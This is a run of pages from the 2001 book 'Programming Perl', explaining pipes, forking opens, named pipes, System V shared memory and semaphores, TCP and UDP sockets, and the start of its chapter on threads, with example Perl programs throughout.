Because you're running two or more processes concurrently, disaster can strike the child process any time between the open and the close. This means that the parent must check the return values of both open and close. Checking the open isn't good enough, since that will only tell you whether the fork was successful, and possibly whether the subsequent command was successfully launched. (It can tell you this only in recent versions of Perl, and only if the command is executed directly by the forked child, not via the shell.) Any disaster that happens after that is reported from the child to the parent as a nonzero exit status. When the close function sees that, it knows to return a false value, indicating that the actual status value should be read from the $? ($CHILD_ERROR) variable. So checking the return value of close is just as important as checking open. If you're writing to a pipe, you should also be prepared to handle the PIPE signal, which is sent to you if the process on the other end dies before you're done sending to it.

16.3.2. Talking to Yourself

Another approach to IPC is to make your program talk to itself, in a manner of speaking. Actually, your process talks over pipes to a forked copy of itself. It works much like the piped open we talked about in the last section, except that the child process continues executing your script instead of some other command.

To represent this to the open function, you use a pseudocommand consisting of a minus. So the second argument to open looks like either "-|" or "|-", depending on whether you want to pipe from yourself or to yourself. As with an ordinary fork command, the open function returns the child's process ID in the parent process but 0 in the child process. Another asymmetry is that the filehandle named by the open is used only in the parent process. The child's end of the pipe is hooked to either STDIN or STDOUT as appropriate. That is, if you open a pipe to minus with |-, you can write to the filehandle you opened, and your kid will find this in STDIN:

if (open(TO, "|-")) {
    print TO $fromparent;
}
else {
    $tochild = <STDIN>;
    exit;
}
If you open a pipe from minus with -|, you can read from the filehandle you opened, which will return whatever your kid writes to STDOUT:
if (open(FROM, "-|")) {
    $toparent = <FROM>;
}
else {
    print STDOUT $fromchild;
    exit;
}

One common application of this construct is to bypass the shell when you want to open a pipe from a command. You might want to do this because you don't want the shell to interpret any possible metacharacters in the filenames you're trying to pass to the command. If you're running release 5.6.1 or greater of Perl, you can use the multi-argument form of open to get the same result.

Another use of a forking open is to safely open a file or command even while you're running under an assumed UID or GID. The child you fork drops any special access rights, then safely opens the file or command and acts as an intermediary, passing data between its more powerful parent and the file or command it opened. Examples can be found in the section Section 16.1.3, "Accessing Commands and Files Under Reduced Privileges" in Chapter 23, "Security".

One creative use of a forking open is to filter your own output. Some algorithms are much easier to implement in two separate passes than they are in just one pass. Here's a simple example in which we emulate the Unix tee(1) program by sending our normal output down a pipe. The agent on the other end of the pipe (one of our own subroutines) distributes our output to all the files specified:

tee("/tmp/foo", "/tmp/bar", "/tmp/glarch");

while (<>) {
    print "$ARGV at line $. => $_";
}
close(STDOUT)  or die "can't close STDOUT: $!";

sub tee {
    my @output = @_;
    my @handles = ();
    for my $path (@output) {
        my $fh;  # open will fill this in
        unless (open ($fh, ">", $path)) {
            warn "cannot write to $path: $!";
            next;
        }
        push @handles, $fh;
    }

    # reopen STDOUT in parent and return
    return if my $pid = open(STDOUT, "|-");
    die "cannot fork: $!" unless defined $pid;

    # process STDIN in child
    while (<STDIN>) {
        for my $fh (@handles) {
            print $fh $_ or die "tee output failed: $!";
        }
    }
    for my $fh (@handles) {
        close($fh) or die "tee closing failed: $!";
    }
    exit;  # don't let the child return to main!
}
This technique can be applied repeatedly to push as many filters on your output stream as you wish. Just keep calling functions that fork-open STDOUT, and have the child read from its parent (which it sees as STDIN) and pass the massaged output along to the next function in the stream.

Another interesting application of talking to yourself with fork-open is to capture the output from an ill-mannered function that always splats its results to STDOUT. Imagine if Perl only had printf and no sprintf. What you'd need would be something that worked like backticks, but with Perl functions instead of external commands:

badfunc("arg");                       # drat, escaped!
$string = forksub(\&badfunc, "arg");  # caught it as string
@lines  = forksub(\&badfunc, "arg");  # as separate lines

sub forksub {
    my $kidpid = open my $self, "-|";
    defined $kidpid         or die "cannot fork: $!";
    shift->(@_), exit       unless $kidpid;
    local $/                unless wantarray;
    return <$self>;         # closes on scope exit
}
We're not claiming this is efficient; a tied filehandle would probably be a good bit faster. But it's a lot easier to code up if you're in more of a hurry than your computer is.

16.3.3. Bidirectional Communication

Although using open to connect to another command over a pipe works reasonably well for unidirectional communication, what about bidirectional communication? The obvious approach doesn't actually work:

open(PROG_TO_READ_AND_WRITE, "| some program |")  # WRONG!
and if you forget to enable warnings, then you'll miss out entirely on the diagnostic message:
Can't do bidirectional pipe at myprog line 3.

The open function doesn't allow this because it's rather prone to deadlock unless you're quite careful. But if you're determined, you can use the standard IPC::Open2 library module to attach two pipes to a subprocess's STDIN and STDOUT. There's also an IPC::Open3 module for tridirectional I/O (allowing you to also catch your child's STDERR), but this requires either an awkward select loop or the somewhat more convenient IO::Select module. But then you'll have to avoid Perl's buffered input operations like <> (readline).

Here's an example using open2:

use IPC::Open2;
local (*Reader, *Writer);
$pid = open2(\*Reader, \*Writer, "bc -l");
$sum = 2;
for (1 .. 5) {
    print Writer "$sum * $sum\n";
    chomp($sum = <Reader>);
}
close Writer;
close Reader;
waitpid($pid, 0);
print "sum is $sum\n";
You can also autovivify lexical filehandles:
my ($fhread, $fhwrite);
$pid = open2($fhread, $fhwrite, "cat -u -n");
The problem with this in general is that standard I/O buffering is really going to ruin your day. Even though your output filehandle is autoflushed (the library does this for you) so that the process on the other end will get your data in a timely manner, you can't usually do anything to force it to return the favor. In this particular case, we were lucky: bc expects to operate over a pipe and knows to flush each output line. But few commands are so designed, so this seldom works out unless you yourself wrote the program on the other end of the double-ended pipe. Even simple, apparently interactive programs like ftp fail here because they won't do line buffering on a pipe. They'll only do it on a tty device.

The IO::Pty and Expect modules from CPAN can help with this because they provide a real tty (actually, a real pseudo-tty, but it acts like a real one). This gets you line buffering in the other process without modifying its program.

If you split your program into several processes and want these to all have a conversation that goes both ways, you can't use Perl's high-level pipe interfaces, because these are all unidirectional. You'll need to use two low-level pipe function calls, each handling one direction of the conversation:

pipe(FROM_PARENT, TO_CHILD)     or die "pipe: $!";
pipe(FROM_CHILD,  TO_PARENT)    or die "pipe: $!";
select((select(TO_CHILD), $| = 1))[0]);   # autoflush
select((select(TO_PARENT), $| = 1))[0]);  # autoflush

if ($pid = fork) {
    close FROM_PARENT; close TO_PARENT;
    print TO_CHILD "Parent Pid $$ is sending this\n";
    chomp($line = <FROM_CHILD>);
    print "Parent Pid $$ just read this: `$line'\n";
    close FROM_CHILD; close TO_CHILD;
    waitpid($pid,0);
} else {
    die "cannot fork: $!" unless defined $pid;
    close FROM_CHILD; close TO_CHILD;
    chomp($line = <FROM_PARENT>);
    print "Child Pid $$ just read this: `$line'\n";
    print TO_PARENT "Child Pid $$ is sending this\n";
    close FROM_PARENT; close TO_PARENT;
    exit;
}
On many Unix systems, you don't actually have to make two separate pipe calls to achieve full duplex communication between parent and child. The socketpair syscall provides bidirectional connections between related processes on the same machine. So instead of two pipes, you only need one socketpair.
use Socket;
socketpair(Child, Parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC)
    or die "socketpair: $!";

# or letting perl pick filehandles for you
my ($kidfh, $dadfh);
socketpair($kidfh, $dadfh, AF_UNIX, SOCK_STREAM, PF_UNSPEC)
    or die "socketpair: $!";
After the fork, the parent closes the Parent handle, then reads and writes via the Child handle. Meanwhile, the child closes the Child handle, then reads and writes via the Parent handle.

If you're looking into bidirectional communications because the process you'd like to talk to implements a standard Internet service, you should usually just skip the middleman and use a CPAN module designed for that exact purpose. (See the section Section 16.5, "Sockets" later for a list of a some of these.)

16.3.4. Named Pipes

A named pipe (often called a FIFO) is a mechanism for setting up a conversation between unrelated processes on the same machine. The names in a "named" pipe exist in the filesystem, which is just a funny way to say that you can put a special file in the filesystem namespace that has another process behind it instead of a disk.[9]

[9]You can do the same thing with Unix-domain sockets, but you can't use open on those.

A FIFO is convenient when you want to connect a process to an unrelated one. When you open a FIFO, your process will block until there's a process on the other end. So if a reader opens the FIFO first, it blocks until the writer shows up--and vice versa.

To create a named pipe, use the POSIX mkfifo function--if you're on a POSIX system, that is. On Microsoft systems, you'll instead want to look into the Win32::Pipe module, which, despite its possible appearance to the contrary, creates named pipes. (Win32 users create anonymous pipes using pipe just like the rest of us.)

For example, let's say you'd like to have your .signature file produce a different answer each time it's read. Just make it a named pipe with a Perl program on the other end that spits out random quips. Now every time any program (like a mailer, newsreader, finger program, and so on) tries to read from that file, that program will connect to your program and read in a dynamic signature.

In the following example, we use the rarely seen -p file test operator to determine whether anyone (or anything) has accidentally removed our FIFO.[10]If they have, there's no reason to try to open it, so we treat this as a request to exit. If we'd used a simple open function with a mode of "> $fpath", there would have been a tiny race condition that would have risked accidentally creating the signature as a plain file if it disappeared between the -p test and the open. We couldn't use a "+< $fpath" mode, either, because opening a FIFO for read-write is a nonblocking open (this is only true of FIFOs). By using sysopen and omitting the O_CREAT flag, we avoid this problem by never creating a file by accident.

use Fcntl;             # for sysopen
chdir;                 # go home
$fpath = '.signature';
$ENV{PATH} .= ":/usr/games";

unless (-p $fpath) {   # not a pipe
    if (-e _) {        # but a something else
        die "$0: won't overwrite .signature\n";
    } else {
        require POSIX;
        POSIX::mkfifo($fpath, 0666) or die "can't mknod $fpath: $!";
        warn "$0: created $fpath as a named pipe\n";
    }
}

while (1) {
    # exit if signature file manually removed
    die "Pipe file disappeared" unless -p $fpath;
    # next line blocks until there's a reader
    sysopen(FIFO, $fpath, O_WRONLY)
        or die "can't write $fpath: $!";
    print FIFO "John Smith (smith\@host.org)\n", `fortune -s`;
    close FIFO;
    select(undef, undef, undef, 0.2);  # sleep 1/5th second
}
The short sleep after the close is needed to give the reader a chance to read what was written. If we just immediately loop back up around and open the FIFO again before our reader has finished reading the data we just sent, then no end-of-file is seen because there's once again a writer. We'll both go round and round until during one iteration, the writer falls a little behind and the reader finally sees that elusive end-of-file. (And we were worried about race conditions?)

[10]Another use is to see if a filehandle is connected to a pipe, named or anonymous, as in -p STDIN.

Previous | Home | Next
16.2. Files | Book Index | 16.4. System V IPC
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


System V IPC (Programming Perl)

 Book Home Programming PerlSearch this book

16.4. System V IPC

Everyone hates System V IPC. It's slower than paper tape, carves out insidious little namespaces completely unrelated to the filesystem, uses human-hostile numbers to name its objects, and is constantly losing track of its own mind. Every so often, your sysadmin has to go on a search-and-destroy mission to hunt down these lost SysV IPC objects with ipcs(1) and kill them with ipcrm(1), hopefully before the system runs out of memory.

Despite all this pain, ancient SysV IPC still has a few valid uses. The three kinds of IPC objects are shared memory, semaphores, and messages. For message passing, sockets are the preferred mechanisms these days, and they're a lot more portable, too. For simple uses of semaphores, the filesystem tends to get used. As for shared memory--well, now there's a problem for you. If you have it, the more modern mmap(2) syscall fits the bill,[11] but the quality of the implementation varies from system to system. It also requires a bit of care to avoid letting Perl reallocate your strings from where mmap(2) put them. But when programmers look into using mmap(2), they hear these incoherent mumbles from the resident wizards about how it suffers from dodgy cache coherency issues on systems without something called a "unified buffer cache"--or maybe it was a "flycatcher unibus"--and, figuring the devil they know is better than the one they don't, run quickly back to the SysV IPC they know and hate for all their shared memory needs.

[11]There's even an Mmap module on CPAN.

Here's a little program that demonstrates controlled access to a shared memory buffer by a brood of sibling processes. SysV IPC objects can also be shared among unrelated processes on the same computer, but then you have to figure out how they're going to find each other. To mediate safe access, we'll create a semaphore per piece.[12]

[12]It would be more realistic to create a pair of semaphores for each bit of shared memory, one for reading and the other for writing, and in fact, that's what the IPC::Shareable module on CPAN does. But we're trying to keep things simple here. It's worth admitting, though, that with a couple of semaphores, you could then make use of pretty much the only redeeming feature of SysV IPC: you could perform atomic operations on entire sets of semaphores as one unit, which is occasionally useful.

Every time you want to get or put a new value into the shared memory, you have to go through the semaphore first. This can get pretty tedious, so we'll wrap access in an object class. IPC::Shareable goes one step further, wrapping its object class in a tie interface.

This program runs until you interrupt it with a Control-C or equivalent:

#!/usr/bin/perl -w
use v5.6.0;   # or better
use strict;
use sigtrap qw(die INT TERM HUP QUIT);
my $PROGENY = shift(@ARGV) || 3;
eval { main() };   # see DESTROY below for why
die if $@ && $@ !~ /^Caught a SIG/;
print "\nDone.\n";
exit;

sub main {
    my $mem = ShMem->alloc("Original Creation at " . localtime);
    my(@kids, $child);
    $SIG{CHLD} = 'IGNORE';
    for (my $unborn = $PROGENY; $unborn > 0; $unborn--) {
        if ($child = fork) {
            print "$$ begat $child\n";
            next;
        }
        die "cannot fork: $!" unless defined $child;
        eval {
            while (1) {
                $mem->lock();
                $mem->poke("$$ " . localtime)
                    unless $mem->peek =~ /^$$\b/o;
                $mem->unlock();
            }
        };

        die if $@ && $@ !~ /^Caught a SIG/;
        exit;  # child death

    }
    while (1) {
        print "Buffer is ", $mem->get, "\n";
        sleep 1;
    }
}
And here's the ShMem package, which that program uses. You can just tack it on to the end of the program, or put it in its own file (with a "1;" at the end) and require it from the main program. (The two IPC modules it uses in turn are found in the standard Perl distribution.)
package ShMem;
use IPC::SysV qw(IPC_PRIVATE IPC_RMID IPC_CREAT S_IRWXU);
use IPC::Semaphore;
sub MAXBUF() { 2000 }

sub alloc {    # constructor method
    my $class = shift;
    my $value = @_ ? shift : '';

    my $key = shmget(IPC_PRIVATE, MAXBUF, S_IRWXU) or die "shmget: $!";
    my $sem = IPC::Semaphore->new(IPC_PRIVATE, 1, S_IRWXU | IPC_CREAT)
                         or die "IPC::Semaphore->new: $!";
    $sem->setval(0,1)    or die "sem setval: $!";

    my $self = bless {
        OWNER   => $$,
        SHMKEY  => $key,
        SEMA    => $sem,
    } => $class;

    $self->put($value);
    return $self;
}
Now for the fetch and store methods. The get and put methods lock the buffer, but peek and poke don't, so the latter two should be used only while the object is manually locked--which you have to do when you want to retrieve an old value and store back a modified version, all under the same lock. The demo program does this in its while (1) loop. The entire transaction must occur under the same lock, or the testing and setting wouldn't be atomic and might bomb.
sub get {
    my $self = shift;
    $self->lock;
    my $value = $self->peek(@_);
    $self->unlock;
    return $value;
}
sub peek {
    my $self = shift;
    shmread($self->{SHMKEY}, my $buff='', 0, MAXBUF) or die "shmread: $!";
    substr($buff, index($buff, "\0")) = '';
    return $buff;
}
sub put {
    my $self = shift;
    $self->lock;
    $self->poke(@_);
    $self->unlock;
}
sub poke {
    my($self,$msg) = @_;
    shmwrite($self->{SHMKEY}, $msg, 0, MAXBUF) or die "shmwrite: $!";
}
sub lock {
    my $self = shift;
    $self->{SEMA}->op(0,-1,0) or die "semop: $!";
}
sub unlock {
    my $self = shift;
    $self->{SEMA}->op(0,1,0) or die "semop: $!";
}
Finally, the class needs a destructor so that when the object goes away, we can manually deallocate the shared memory and the semaphore stored inside the object. Otherwise, they'll outlive their creator, and you'll have to resort to ipcs and ipcrm (or a sysadmin) to get rid of them. That's why we went through the elaborate wrappers in the main program to convert signals into exceptions: it that all destructors get run, SysV IPC objects get deallocated, and sysadmins get off our case.
sub DESTROY {
    my $self = shift;
    return unless $self->{OWNER} == $$;  # avoid dup dealloc
    shmctl($self->{SHMKEY}, IPC_RMID, 0)    or warn "shmctl RMID: $!";
    $self->{SEMA}->remove()                 or warn "sema->remove: $!";
}

Previous | Home | Next
16.3. Pipes | Book Index | 16.5. Sockets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sockets (Programming Perl)

 Book Home Programming PerlSearch this book

16.5. Sockets

The IPC mechanisms discussed earlier all have one severe restriction: they're designed for communication between processes running on the same computer. (Even though files can sometimes be shared across machines through mechanisms like NFS, locking fails miserably on many NFS implementations, which takes away most of the fun of concurrent access.) For general-purpose networking, sockets are the way to go. Although sockets were invented under BSD, they quickly spread to other forms of Unix, and nowadays you can find a socket interface on nearly every viable operating system out there. If you don't have sockets on your machine, you're going to have tremendous difficulty using the Internet.

With sockets, you can do both virtual circuits (as TCP streams) and datagrams (as UDP packets). You may be able to do even more, depending on your system. But the most common sort of socket programming uses TCP over Internet-domain sockets, so that's the kind we cover here. Such sockets provide reliable connections that work a little bit like bidirectional pipes that aren't restricted to the local machine. The two killer apps of the Internet, email and web browsing, both rely almost exclusively on TCP sockets.

You also use UDP heavily without knowing it. Every time your machine tries to find a site on the Internet, it sends UDP packets to your DNS server asking it for the actual IP address. You might use UDP yourself when you want to send and receive datagrams. Datagrams are cheaper than TCP connections precisely because they aren't connection oriented; that is, they're less like making a telephone call and more like dropping a letter in the mailbox. But UDP also lacks the reliability that TCP provides, making it more suitable for situations where you don't care whether a packet or two gets folded, spindled, or mutilated. Or for when you know that a higher-level protocol will enforce some degree of redundancy or fail-softness (which is what DNS does.)

Other choices are available but far less common. You can use Unix-domain sockets, but they only work for local communication. Various systems support various other non-IP-based protocols. Doubtless these are somewhat interesting to someone somewhere, but we'll restrain ourselves from talking about them somehow.

The Perl functions that deal with sockets have the same names as the corresponding syscalls in C, but their arguments tend to differ for two reasons: first, Perl filehandles work differently from C file descriptors; and second, Perl already knows the length of its strings, so you don't need to pass that information. See Chapter 29, "Functions" for details on each socket-related syscall.

One problem with ancient socket code in Perl was that people would use hard-coded values for constants passed into socket functions, which destroys portability. Like most syscalls, the socket-related ones quietly but politely return undef when they fail, instead of raising an exception. It is therefore essential to check these functions' return values, since if you pass them garbage, they aren't going to be very noisy about it. If you ever see code that does anything like explicitly setting $AF_INET = 2, you know you're in for big trouble. An immeasurably superior approach is to use the Socket module or the even friendlier IO::Socket module, both of which are standard. These modules provide various constants and helper functions you'll need for setting up clients and servers. For optimal success, your socket programs should always start out like this (and don't forget to add the -T taint-checking switch to the shebang line for servers):

#!/usr/bin/perl -w
use strict;
use sigtrap;
use Socket;  # or IO::Socket
As noted elsewhere, Perl is at the mercy of your C libraries for much of its system behavior, and not all systems support all sorts of sockets. It's probably safest to stick with normal TCP and UDP socket operations. For example, if you want your code to stand a chance of being portable to systems you haven't thought of, don't expect there to be support for a reliable sequenced-packet protocol. Nor should you expect to pass open file descriptors between unrelated processes over a local Unix-domain socket. (Yes, you can really do that on many Unix machines--see your local recvmsg(2) manpage.)

If you just want to use a standard Internet service like mail, news, domain name service, FTP, Telnet, the Web, and so on, then instead of starting from scratch, try using existing CPAN modules for these. Prepackaged modules designed for these include Net::SMTP (or Mail::Mailer), Net::NNTP, Net::DNS, Net::FTP, Net::Telnet, and the various HTTP-related modules. The libnet and libwww module suites both comprise many individual networking modules. Module areas on CPAN you'll want to look at are section 5 on Networking and IPC, section 15 on WWW-related modules, and section 16 on Server and Daemon Utilities.

In the sections that follow, we present several sample clients and servers without a great deal of explanation of each function used, as that would mostly duplicate the descriptions we've already provided in Chapter 29, "Functions".

16.5.1. Networking Clients

Use Internet-domain sockets when you want reliable client-server communication between potentially different machines.

To create a TCP client that connects to a server somewhere, it's usually easiest to use the standard IO::Socket::INET module:

use IO::Socket::INET;

$socket = IO::Socket::INET->new(PeerAddr => $remote_host,
                                PeerPort => $remote_port,
                                Proto    => "tcp",
                                Type     => SOCK_STREAM)
    or die "Couldn't connect to $remote_host:$remote_port : $!\n";

# send something over the socket,
print $socket "Why don't you call me anymore?\n";

# read the remote answer,
$answer = <$socket>;

# and terminate the connection when we're done.
close($socket);
A shorthand form of the call is good enough when you just have a host and port combination to connect to, and are willing to use defaults for all other fields:
$socket = IO::Socket::INET->new("www.yahoo.com:80")
    or die "Couldn't connect to port 80 of yahoo: $!";
To connect using the basic Socket module:
use Socket;

# create a socket
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

# build the address of the remote machine
$internet_addr = inet_aton($remote_host)
    or die "Couldn't convert $remote_host into an Internet address: $!\n";
$paddr = sockaddr_in($remote_port, $internet_addr);

# connect
connect(Server, $paddr)
    or die "Couldn't connect to $remote_host:$remote_port: $!\n";

select((select(Server), $| = 1)[0]);  # enable command buffering

# send something over the socket
print Server "Why don't you call me anymore?\n";

# read the remote answer
$answer = <Server>;

# terminate the connection when done
close(Server);
If you want to close only your side of the connection, so that the remote end gets an end-of-file, but you can still read data coming from the server, use the shutdown syscall for a half-close:
# no more writing to server
shutdown(Server, 1);    # Socket::SHUT_WR constant in v5.6

16.5.2. Networking Servers

Here's a corresponding server to go along with it. It's pretty easy with the standard IO::Socket::INET class:

use IO::Socket::INET;

$server = IO::Socket::INET->new(LocalPort => $server_port,
                                Type      => SOCK_STREAM,
                                Reuse     => 1,
                                Listen    => 10 )   # or SOMAXCONN
    or die "Couldn't be a tcp server on port $server_port: $!\n";

while ($client = $server->accept()) {
    # $client is the new connection
}

close($server);
You can also write that using the lower-level Socket module:
use Socket;

# make the socket
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

# so we can restart our server quickly
setsockopt(Server, SOL_SOCKET, SO_REUSEADDR, 1);

# build up my socket address
$my_addr = sockaddr_in($server_port, INADDR_ANY);
bind(Server, $my_addr)
    or die "Couldn't bind to port $server_port: $!\n";

# establish a queue for incoming connections
listen(Server, SOMAXCONN)
    or die "Couldn't listen on port $server_port: $!\n";

# accept and process connections
while (accept(Client, Server)) {
    # do something with new Client connection
}

close(Server);
The client doesn't need to bind to any address, but the server does. We've specified its address as INADDR_ANY, which means that clients can connect from any available network interface. If you want to sit on a particular interface (like the external side of a gateway or firewall machine), use that interface's real address instead. (Clients can do this, too, but rarely need to.)

If you want to know which machine connected to you, call getpeername on the client connection. This returns an IP address, which you'll have to translate into a name on your own (if you can):

use Socket;
$other_end = getpeername(Client)
    or die "Couldn't identify other end: $!\n";
($port, $iaddr) = unpack_sockaddr_in($other_end);
$actual_ip = inet_ntoa($iaddr);
$claimed_hostname = gethostbyaddr($iaddr, AF_INET);
This is trivially spoofable because the owner of that IP address can set up their reverse tables to say anything they want. For a small measure of additional confidence, translate back the other way again:
@name_lookup = gethostbyname($claimed_hostname)
    or die "Could not reverse $claimed_hostname: $!\n";
@resolved_ips = map { inet_ntoa($_) } @name_lookup[ 4 .. $#name_lookup ];
$might_spoof = !grep { $actual_ip eq $_ } @resolved_ips;
Once a client connects to your server, your server can do I/O both to and from that client handle. But while the server is so engaged, it can't service any further incoming requests from other clients. To avoid getting locked down to just one client at a time, many servers immediately fork a clone of themselves to handle each incoming connection. (Others fork in advance, or multiplex I/O between several clients using the select syscall.)
REQUEST:
while (accept(Client, Server)) {
    if ($kidpid = fork) {
        close Client;         # parent closes unused handle
        next REQUEST;
    }
    defined($kidpid)   or die "cannot fork: $!" ;

    close Server;             # child closes unused handle

    select(Client);           # new default for prints
    $| = 1;                   # autoflush

    # per-connection child code does I/O with Client handle
    $input = <Client>;
    print Client "output\n";  # or STDOUT, same thing

    open(STDIN, "<<&Client")    or die "can't dup client: $!";
    open(STDOUT, ">&Client")    or die "can't dup client: $!";
    open(STDERR, ">&Client")    or die "can't dup client: $!";

    # run the calculator, just as an example
    system("bc -l");     # or whatever you'd like, so long as
                         # it doesn't have shell escapes!
    print "done\n";      # still to client

    close Client;
    exit;  # don't let the child back to accept!
}
This server clones off a child with fork for each incoming request. That way it can handle many requests at once, as long as you can create more processes. (You might want to limit this.) Even if you don't fork, the listen will allow up to SOMAXCONN (usually five or more) pending connections. Each connection uses up some resources, although not as much as a process. Forking servers have to be careful about cleaning up after their expired children (called "zombies" in Unix-speak) because otherwise they'd quickly fill up your process table. The REAPER code discussed in the section Section 16.1, "Signals" will take care of that for you, or you may be able to assign $SIG{CHLD} = 'IGNORE'.

Before running another command, we connect the standard input and output (and error) up to the client connection. This way any command that reads from STDIN and writes to STDOUT can also talk to the remote machine. Without the reassignment, the command couldn't find the client handle--which by default gets closed across the exec boundary, anyway.

When you write a networking server, we strongly suggest that you use the -T switch to enable taint checking even if you aren't running setuid or setgid. This is always a good idea for servers and any other program that runs on behalf of someone else (like all CGI scripts), because it lessens the chances that people from the outside will be able to compromise your system. See the section Section 16.1, "Handling Insecure Data" in Chapter 23, "Security" for much more about all this.

One additional consideration when writing Internet programs: many protocols specify that the line terminator should be CRLF, which can be specified various ways: "\015\12", or "\xd\xa", or even chr(13).chr(10). As of version 5.6 of Perl, saying v13.10 also produces the same string. (On many machines, you can also use "\r\n" to mean CRLF, but don't use "\r\n" if you want to be portable to Macs, where the meanings of \r and \n are reversed!) Many Internet programs will in fact accept a bare "\012" as a line terminator, but that's because Internet programs usually try to be liberal in what they accept and strict in what they emit. (Now if only we could get people to do the same...)

16.5.3. Message Passing

As we mentioned earlier, UDP communication involves much lower overhead but provides no reliability, since there are no promises that messages will arrive in a proper order--or even that they will arrive at all. UDP is often said to stand for Unreliable Datagram Protocol.

Still, UDP offers some advantages over TCP, including the ability to broadcast or multicast to a whole bunch of destination hosts at once (usually on your local subnet). If you find yourself getting overly concerned about reliability and starting to build checks into your message system, then you probably should just use TCP to start with. True, it costs more to set up and tear down a TCP connection, but if you can amortize that over many messages (or one long message), it doesn't much matter.

Anyway, here's an example of a UDP program. It contacts the UDP time port of the machines given on the command line, or everybody it can find using the universal broadcast address if no arguments were supplied.[13] Not all machines have a time server enabled, especially across firewall boundaries, but those that do will send you back a 4-byte integer packed in network byte order that represents what time that machine thinks it is. The time returned, however, is in the number of seconds since 1900. You have to subtract the number of seconds between 1900 and 1970 to feed that time to the localtime or gmtime conversion functions.

#!/usr/bin/perl
# clockdrift - compare other systems' clocks with this one
#              without arguments, broadcast to anyone listening.
#              wait one-half second for an answer.

use v5.6.0;  # or better
use warnings;
use strict;
use Socket;

unshift(@ARGV, inet_ntoa(INADDR_BROADCAST))
    unless @ARGV;

socket(my $msgsock, PF_INET, SOCK_DGRAM, getprotobyname("udp"))
    or die "socket: $!";

# Some borked machines need this.  Shouldn't hurt anyone else.
setsockopt($msgsock, SOL_SOCKET, SO_BROADCAST, 1)
    or die "setsockopt: $!";

my $portno = getservbyname("time", "udp")
    or die "no udp time port";

for my $target (@ARGV) {
    print "Sending to $target:$portno\n";
    my $destpaddr = sockaddr_in($portno, inet_aton($target));
    send($msgsock, "x", 0, $destpaddr)
        or die "send: $!";
}

# daytime service returns 32-bit time in seconds since 1900
my $FROM_1900_TO_EPOCH = 2_208_988_800;
my $time_fmt = "N";   # and it does so in this binary format
my $time_len = length(pack($time_fmt, 1));  # any number's fine

my $inmask = '';  # string to store the fileno bits for select
vec($inmask, fileno($msgsock), 1) = 1;

# wait only half a second for input to show up
while (select(my $outmask = $inmask, undef, undef, 0.5)) {
    defined(my $srcpaddr = recv($msgsock, my $bintime, $time_len, 0))
        or die "recv: $!";
    my($port, $ipaddr) = sockaddr_in($srcpaddr);
    my $sendhost = sprintf "%s [%s]",
                    gethostbyaddr($ipaddr, AF_INET) || 'UNKNOWN',
                    inet_ntoa($ipaddr);
    my $delta = unpack($time_fmt, $bintime) -
                      $FROM_1900_TO_EPOCH - time();
    print "Clock on $sendhost is $delta seconds ahead of this one.\n";
}

[13] If that doesn't work, run ifconfig -a to find the proper local broadcast address.

Previous | Home | Next
16.4. System V IPC | Book Index | 17. Threads
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Threads (Programming Perl)

 Programming PerlSearch this book

Chapter 17. Threads

Contents:

The Process Model
The Thread Model

Parallel programming is much harder than it looks. Imagine taking a recipe from a cookbook and converting it into something that several dozen chefs can work on all at the same time. You can take two approaches.

One approach is to give each chef a private kitchen, complete with its own supply of raw materials and utensils. For recipes that can be divided up into parts easily, and for foods that can be transported from kitchen to kitchen easily, this approach works well because it keeps the chefs out of each other's kitchens.

Alternatively, you can just put all the chefs into one kitchen, and let them work things out, like who gets to use the mixer when. This can get messy, especially when the meat cleavers start to fly.

These two approaches correspond to two models of parallel programming on computers. The first is the multiprocessing model typical of traditional Unix systems, in which each thread of control has its own set of resources, which taken together we call a process. The second model is the multithreading model, in which each thread of control shares resources with all other threads of control. Or doesn't share, as the case may be (and upon occasion must be).

We all know that chefs like to be in control; that's okay, because chefs need to be in control in order to accomplish what we want them to accomplish. But chefs need to be organized, one way or another.

Perl supports both models of organization. In this chapter we'll call them the process model and the thread model.

17.1. The Process Model

We'll not discuss the process model in great detail here, simply because it's pervasive throughout the rest of this book. Perl originated on Unix systems, so it is steeped in the notion that each process does its own thing. If a process wants to start some parallel processing, then logically it has to start a parallel process; that is, it must fork a new heavyweight process, which by default shares little with the parent process except some file descriptors. (It may seem like parent and child are sharing a lot more, but most of the state of the parent process is merely duplicated in the child process and not really shared in a logical sense. The operating system may of course exhibit laziness in enforcing that logical separation, in which case we call it copy-on-write semantics, but we wouldn't be doing the copy at all unless there were a logical separation first.)

Historically, this industrial-strength view of multiprocessing has posed a bit of a problem on Microsoft systems, because Windows has not had a well-developed multiprocessing model (and what it does have in that regard, it doesn't often rely on for parallel programming). It has typically taken a multithreading approach instead.

However, through heroic efforts, version 5.6 of Perl now implements the fork operation on Windows by cloning a new interpreter object within the same process. That means that most examples using fork in the rest of the book will now work on Windows. The cloned interpreter shares immutable code with other interpreters but gets its own copy of data to play with. (There can still be problems with C libraries that don't understand threads, of course.)

This approach to multiprocessing has been christened ithreads, short for "interpreter threads". The initial impetus for implementing ithreads was to emulate fork for Microsoft systems. However, we quickly realized that, although the other interpreters are running as distinct threads, they're running in the same process, so it would be easy to make these separate interpreters share data, even though they don't share by default.

This is the opposite of the typical threading model, in which everything is shared by default, and you have to take pains not to share something. But you should not view these two models as totally distinct from each other, because they are both trying to bridge the same river; they're just building from opposite shores. The actual solution to any parallel processing problem is going to involve some degree of sharing, together with some degree of selfishness.

So over the long run, the intent is to extend the ithreads model to allow as much sharing as you need or want. However, as of this writing, the only user-visible interface for ithreads is the fork call under Microsoft ports of Perl. We think that, eventually, this approach will produce cleaner programs than the standard threading approach. Basically, it's easier to run an economy where you assume everyone owns what they own, rather than assuming that everyone owns everything. Not that people aren't expected to share in a capitalist economy, or peculate[1] in a communist economy. These things tend toward the middle. Socialism happens. But with large groups of people, sharing everything by default only works when you have a "head chef" with a big meat cleaver who thinks he owns everything.

[1] peculate: v.i., to swipe the People's Property from the commons in the middle of the night; to embezzle from the public something that is not necessarily money (~L. peculiar, "not common"), cf embrace, extend, GPL.

Of course, the actual government of any computer is run by that fascist dictator known as the operating system. But a wise dictator knows when to let the people think they're capitalists--and when to let them think they're communists.

Previous | Home | Next
16.5. Sockets | Book Index | 17.2. The Thread Model
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


